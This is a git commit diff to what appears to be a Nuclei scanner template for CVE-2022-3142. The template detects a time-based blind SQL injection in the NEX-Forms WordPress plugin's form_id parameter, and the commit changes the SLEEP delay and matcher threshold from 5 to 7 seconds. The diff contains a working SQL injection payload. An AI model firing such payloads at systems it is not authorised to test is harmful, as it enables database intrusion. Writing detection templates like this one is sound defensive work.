Update CVE-2022-3142.yaml
parent
8fce4f6d8e
commit
baa1acee95
|
@ -40,13 +40,13 @@ http:
|
|||
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||||
- |
|
||||
@timeout: 30s
|
||||
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)-- HTTP/1.1
|
||||
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=5'
|
||||
- 'duration>=7'
|
||||
- 'status_code_2 == 200'
|
||||
- 'contains(body_2, "NEX-Forms")'
|
||||
- 'contains(content_type_2, "text/html")'
|
||||
|
|
Loading…
Reference in New Issue